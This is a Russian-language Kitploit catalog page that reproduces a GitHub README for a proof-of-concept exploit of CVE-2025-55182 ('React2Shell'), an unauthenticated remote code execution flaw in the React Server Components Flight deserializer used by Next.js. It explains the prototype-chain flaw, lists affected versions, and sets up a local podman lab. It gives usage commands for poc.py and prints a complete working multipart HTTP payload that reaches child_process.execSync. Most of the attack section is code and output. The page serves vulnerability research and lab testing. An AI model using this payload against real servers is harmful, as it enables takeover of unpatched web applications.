Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
Инструменты/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2025-55182 — React2Shell

NOLICENSE

СОДЕРЖАНИЕ

  • ОПРОЕКТЕ
  • ОКРУЖЕНИЕ
  • ИСПОЛЬЗОВАНИЕ

ОПРОЕКТЕ

CVE-2025-55182 («React2Shell») — это уязвимость RCE без аутентификации с рейтингом CVSS 10.0 в десериализаторе протокола Flight в React Server Components.

Обзор уязвимости

Функция reviveModel в клиенте протокола Flight от React не проверяет ключи объектов с помощью hasOwnProperty, поэтому злоумышленник может пройти по цепочке прототипов __proto__ → constructor → Function constructor и выполнить произвольный JavaScript.

Из-за того, что десериализация происходит перед аутентификацией через один multipart POST-запрос с заголовком Next-Action, атака возможна без аутентификации.

Затронутые версии

КомпонентУязвимая версияИсправленная версия
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

ОКРУЖЕНИЕ

Структура

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Оболочка разработки Nix (nodejs_20, yarn, python3+requests)
├── poc.py             # Эксплойт-скрипт
└── target/            # Уязвимое приложение Next.js
    ├── Containerfile  # для сборки podman
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

Зависимости

  • Nix — воспроизводимая среда разработки
  • podman — среда выполнения контейнеров
  • Python 3 + requests — для выполнения PoC

ИСПОЛЬЗОВАНИЕ

1. Запуск оболочки разработки

root@kitploit:~
nix develop

2. Сборка контейнера

root@kitploit:~
podman build -t cve-2025-55182 target/

3. Запуск уязвимого сервера

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. Запуск эксплойта

root@kitploit:~
python poc.py http://localhost:3000 "id"

Результат выполнения команды возвращается в поле digest JSON-ответа.

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. Проверка побочных эффектов

root@kitploit:~
# Запись файла
python poc.py http://localhost:3000 "touch /tmp/pwned"

# Проверка внутри контейнера
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # это тоже возможно

Проверка с помощью Burp Suite

Предполагается, что Burp запущен на localhost:8080

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. Очистка

root@kitploit:~
podman stop vuln && podman rm vuln
Скачать инструмент